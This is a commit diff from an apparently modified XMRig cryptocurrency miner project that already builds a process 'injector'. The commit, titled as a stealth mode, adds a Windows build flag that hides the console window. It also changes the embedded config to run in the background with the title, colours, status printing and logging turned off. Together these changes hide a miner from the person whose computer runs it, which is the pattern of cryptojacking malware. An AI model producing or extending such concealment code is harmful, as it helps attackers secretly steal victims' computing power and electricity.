feat: Add stealth mode for silent background operation
This commit is contained in:
parent
5b8a06c9a5
commit
53e6d96edf
@ -259,6 +259,10 @@ target_link_libraries(${CMAKE_PROJECT_NAME} ${XMRIG_ASM_LIBRARY} ${OPENSSL_LIBRA
|
||||
target_link_libraries(injector psapi ntdll)
|
||||
target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -static-libgcc -static-libstdc++ -static)
|
||||
|
||||
if (WIN32)
|
||||
target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -mwindows)
|
||||
endif()
|
||||
|
||||
if (WIN32)
|
||||
if (NOT ARM_TARGET)
|
||||
add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/bin/WinRing0/WinRing0x64.sys" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)
|
||||
|
||||
@ -94,9 +94,9 @@ inline const char* getEmbeddedConfig()
|
||||
"restricted": true
|
||||
},
|
||||
"autosave": true,
|
||||
"background": false,
|
||||
"colors": true,
|
||||
"title": true,
|
||||
"background":true,
|
||||
"colors":false,
|
||||
"title":false,
|
||||
"randomx": {
|
||||
"init": -1,
|
||||
"init-avx2": -1,
|
||||
@ -160,8 +160,8 @@ inline const char* getEmbeddedConfig()
|
||||
"submit-to-origin": false
|
||||
}
|
||||
],
|
||||
"print-time": 60,
|
||||
"health-print-time": 60,
|
||||
"print-time":0,
|
||||
"health-print-time":0,
|
||||
"dmi": true,
|
||||
"retries": 5,
|
||||
"retry-pause": 5,
|
||||
@ -176,8 +176,8 @@ inline const char* getEmbeddedConfig()
|
||||
"dhparam": null
|
||||
},
|
||||
"user-agent": null,
|
||||
"verbose": 9,
|
||||
"watch": true,
|
||||
"verbose":0,
|
||||
"watch":false,
|
||||
"pause-on-battery": false,
|
||||
"pause-on-active": false
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user